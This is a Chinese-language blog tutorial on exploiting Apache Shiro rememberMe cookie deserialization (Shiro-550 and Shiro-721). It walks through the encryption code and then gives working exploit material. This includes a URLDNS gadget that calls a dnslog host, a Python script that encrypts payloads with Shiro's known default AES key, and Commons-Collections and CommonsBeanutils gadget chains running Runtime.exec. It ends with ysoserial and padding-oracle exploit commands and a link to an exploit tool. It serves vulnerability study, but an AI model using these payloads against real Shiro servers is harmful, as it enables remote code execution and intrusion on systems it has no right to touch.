原文链接:shiro从0到1 (qq.com)
环境搭建https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
配置pom.xml
- <dependencies>
- <dependency>
- <groupId>javax.servlet</groupId>
- <artifactId>jstl</artifactId>
- <scope>runtime</scope>
- </dependency>
- <dependency>
- <groupId>javax.servlet</groupId>
- <artifactId>servlet-api</artifactId>
- <scope>provided</scope>
- </dependency>
- <dependency>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-log4j12</artifactId>
- <scope>runtime</scope>
- </dependency>
- <dependency>
- <groupId>log4j</groupId>
- <artifactId>log4j</artifactId>
- <scope>runtime</scope>
- </dependency>
- <dependency>
- <groupId>net.sourceforge.htmlunit</groupId>
- <artifactId>htmlunit</artifactId>
- <version>2.6</version>
- <scope>test</scope>
- </dependency>
- <dependency>
- <groupId>org.apache.shiro</groupId>
- <artifactId>shiro-core</artifactId>
- </dependency>
- <dependency>
- <groupId>org.apache.shiro</groupId>
- <artifactId>shiro-web</artifactId>
- </dependency>
- <dependency>
- <groupId>org.mortbay.jetty</groupId>
- <artifactId>jetty</artifactId>
- <version>${jetty.version}</version>
- <scope>test</scope>
- </dependency>
- <dependency>
- <groupId>org.mortbay.jetty</groupId>
- <artifactId>jsp-2.1-jetty</artifactId>
- <version>${jetty.version}</version>
- <scope>test</scope>
- </dependency>
- <dependency>
- <groupId>org.slf4j</groupId>
- <artifactId>jcl-over-slf4j</artifactId>
- <scope>runtime</scope>
- </dependency>
- <dependency>
- <groupId>jstl</groupId>
- <artifactId>jstl</artifactId>
- <version>1.2</version>
- </dependency>
- </dependencies>
复制代码
可能出现的问题无法解析插件 org.apache.maven.plugins:maven-clean-plugin:2.5 主要原理是因为maven默认用的是外网,会导致有些插件无法下载成功 解决方式:将maven设置为国内镜像 修改maven3中的settings.xml文件 路径:xxxx\InteLiJ\plugins\maven\lib\maven3\conf 将标签的内容替换为 - <mirror>
- <id>mirrorId</id>
- <mirrorOf>central</mirrorOf>
- <name>Human Readable Name </name>
- <url>http://repo1.maven.org/maven2/</url>
- </mirror>
- <!-- 阿里云镜像 -->
- <mirror>
- <id>alimaven</id>
- <name>aliyun maven</name>
- <url>http://central.maven.org/maven2</url>
- <mirrorOf>central</mirrorOf>
- </mirror>
- <!-- 阿里云镜像 -->
- <mirror>
- <id>alimaven</id>
- <name>aliyun maven</name>
- <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
- <mirrorOf>central</mirrorOf>
- </mirror>
- <!-- junit镜像地址 -->
- <mirror>
- <id>junit</id>
- <name>junit Address/</name>
- <url>http://jcenter.bintray.com/</url>
- <mirrorOf>central</mirrorOf>
- </mirror>
复制代码然后重启maven即可 只需要将压缩包中的web目录解压,然后作为网站根目录即可 漏洞分析加密过程
 
在ildea里点击两下Shift,搜索rememberMeSuccessfulLogin
 
 
 
 
 
对用户名就行序列化操作
 
跟进serialize
 
继续跟进 跟进serialize,这里就是真实的序列化操作
 
执行完serialize函数加入encrypt
 
可以看到有一个cipherService.encrypt函数,它其实是将序列化的内容进行aes加密,而getEncryptionCipherKey函数是获取密钥的函数
 
跟进getEncryptionCipherKey函数,发现返回的是encryptionCioherKey这个属性
 
getEncryptionCipherKey为AbstractRememberMeManager类中的方法,因此我们自己看构造方法
这里定义了一个常量DEFAULT_CIPHER_KEY_BYTES
 
 
 
跟进到这里会发现setEncryptionCipherKey方法其实就是将DEFAULT_CIPHER_KEY_BYTES赋值给了encryptionCipherKey,在这里就获得了密钥
 
进入rememberSerializedIdentity方法,这个方法的作用其实就是添加cookie
 
 
加密过程就结束了
解密过程搜索getRememberedIdentity
 
 
 
获取http的Request和Response
 
获取Cookie内容
 
这里就是解密过程
 
 
 
 
 
 
 
 
在这里调用了反序列化
 
由于原生的shrio是无法利用cc链的,因此我们在这里直接利用URLDNS这条链
URLDNS
- import java.io.*;
- import java.lang.reflect.Field;
- import java.net.URL;
- import java.util.HashMap;
- public class urldns {
- public static void main(String[] args) throws Exception {
- HashMap<URL, String> hashMap = new HashMap<URL, String>();
- URL url = new URL("http://rmu2na.dnslog.cn");
- Field f = URL.class.getDeclaredField("hashCode");
- f.setAccessible(true);
- // 这步是防止写入时触发dns查询,详见下文序列化条件总结
- f.set(url, 1);
- hashMap.put(url, "foo");
- f.set(url, -1);
-
- ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
- oos.writeObject(hashMap);
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));
- ois.readObject();
-
- }
- }
复制代码 由于反序列化的内容是二进制文件,因此需要利用脚本进行加密操作- import sys
- import uuid
- import base64
- import subprocess
- from Crypto.Cipher import AES
- def get_file(name):
- with open(name,'rb') as f:
- data = f.read()
- return data
- def en_aes(data):
- BS = AES.block_size
- pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
- key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
- iv = uuid.uuid4().bytes
- encryptor = AES.new(key, AES.MODE_CBC, iv)
- base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
- return base64_ciphertext
- if __name__ == '__main__':
- data = get_file("test.out")
- print(en_aes(data))
复制代码这里需要将Cookie中的JSESSIONID=xxx;删除掉才会触发服务器重新读取Cookie
 
 
由于Shrio对resolveClass进行了修改,导致数组类无法加载,因此原生的cc链是无法直接使用的
有cc依赖
- package com.naihe;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import javassist.CannotCompileException;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javassist.NotFoundException;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
- public class cc {
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException {
- //通过字节码构建恶意类
- ClassPool classPool= ClassPool.getDefault();
- String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
- classPool.appendClassPath(AbstractTranslet);
- CtClass payload=classPool.makeClass("CommonsCollections3");
- payload.setSuperclass(classPool.get(AbstractTranslet));
- payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
- byte[] bytes=payload.toBytecode();
- //CC3
- TemplatesImpl templates = new TemplatesImpl();
- Class<? extends TemplatesImpl> aClass = templates.getClass();
- Field nameField = aClass.getDeclaredField("_name");
- nameField.setAccessible(true);
- nameField.set(templates,"aaaa");
- Field bytecodesField = aClass.getDeclaredField("_bytecodes");
- bytecodesField.setAccessible(true);
- bytecodesField.set(templates,new byte[][]{bytes});
- //CC2
- InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
- //CC6
- HashMap<Object, Object> map = new HashMap<>();
- Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
- HashMap<Object, Object> map2 = new HashMap<>();
- map2.put(tiedMapEntry,"bbb");
- lazyMap.remove(templates);
- Class<LazyMap> c = LazyMap.class;
- Field factoryField = c.getDeclaredField("factory");
- factoryField.setAccessible(true);
- factoryField.set(lazyMap,invokerTransformer);
- serialize(map2);
- }
- public static void serialize(Object obj) throws IOException, ClassNotFoundException {
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
- objectOutputStream.writeObject(obj);
- objectOutputStream.close();
- unserialize("test.out");
- }
- public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
- ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
- Object object = objectInputStream.readObject();
- return object;
- }
- }
复制代码  
无cc依赖
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import javassist.ClassPool;
- import javassist.CtClass;
- import org.apache.commons.beanutils.BeanComparator;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.PriorityQueue;
- public class CB1 {
- // 修改值的方法,简化代码
- public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
- Field field = object.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(object, value);
- }
- public static void main(String[] args) throws Exception {
- // 创建恶意类,用于报错抛出调用链
- ClassPool pool = ClassPool.getDefault();
- CtClass payload = pool.makeClass("EvilClass");
- payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
- payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
- payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
- byte[] evilClass = payload.toBytecode();
- TemplatesImpl templates = new TemplatesImpl();
- setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
- setFieldValue(templates, "_name", "test");
- setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
- BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
- PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
- queue.add("1");
- queue.add("1");
- setFieldValue(beanComparator, "property", "outputProperties");
- setFieldValue(queue, "queue", new Object[]{templates, templates});
- ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("test.out"));
- out.writeObject(queue);
- ObjectInputStream in = new ObjectInputStream(new FileInputStream("test.out"));
- in.readObject();
- }
- }
复制代码  
shiro721
漏洞原理Apapche Shiro RememberMe Cookie 默认通过 AES-128-CBC 模式加密 , 这种加密模式容易受到 Padding Oracle Attack( Oracle 填充攻击 ) , 攻击者可以使用有效的 RememberMe Cookie 作为 Paddding Oracle Attack 的前缀 , 然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击. 复现步骤: 1. 登录网站并且获取 RememberMe Cookie 值
2. 使用 RememberMe Cookie 值来作为 Padding Oracle Attack 的前缀
3. 通过 Padding Oracle Attack 的攻击方式精心构造可利用的 YSoSerial 反序列化数据
4. 将构造好的反序列化数据填充到 RememberMe Cookie 字段中并发送 , 即可在目标服务器上执行任意代码需要通过爆破获取密钥,才能生成正确的rememberme cookie - 用java -jar ysoserial-master-6eca5bc740-1.jar CommonsBeanutils1 "ping gj9qn9.dnslog.cn" > payload.class
- python shiro_exp.py http://127.0.0.1:8080/samples-web-1.4.1/account/ 7y9G8wmu+3c94D0kaxohut34n3ldwNnWxmrT9DQDEiSrQ7agYNnci1mh+IYQLmL8cehaMPcnBDclNaEN6eZrPvsEX7eApt5SJEZkmow+ZPsEsnh4wrnHoe7p8RjGVu6P/onx7nrFzZln9d4RC1N8vxEVPUlYZXU7xsMRs35Q8ziFH1EJ1jl/5eiDTn7Wx3yLbHCPyg6v+Qu5ADD+AMbvdHzlLOwY8Pfm5uqEKp36jIwsZjDcQJRhwyUjhAuRyqSUEFKzAq95XUYRaBKKsoxQwN6gD4z7G6lAIBY880CP0QIMhImmbHVfJti/rrnJ/RsxJtoeIH8TujlsEvcCGbJ3Od2XDbhilQUT57XralFArZB7tVCQE9/Vdce96jzR1TjD2rsPbg77eEUXOWbwkYBkJxFBex+p/YrLeJnxm9IvDijGHH2pZp9kCkej7uc8qPm+rH+V3xE0ChIxZXF5l9ScPsvHLJD+gAhgszg75pQnLiS5SOPG73GCj2gFFzzsKnCB payload.class
复制代码
 
 
检测工具
工具:https://github.com/feihong-cs/Sh ... iroExploit.V2.51.7z
获取方式:公众号后台回复关键词:shiro
|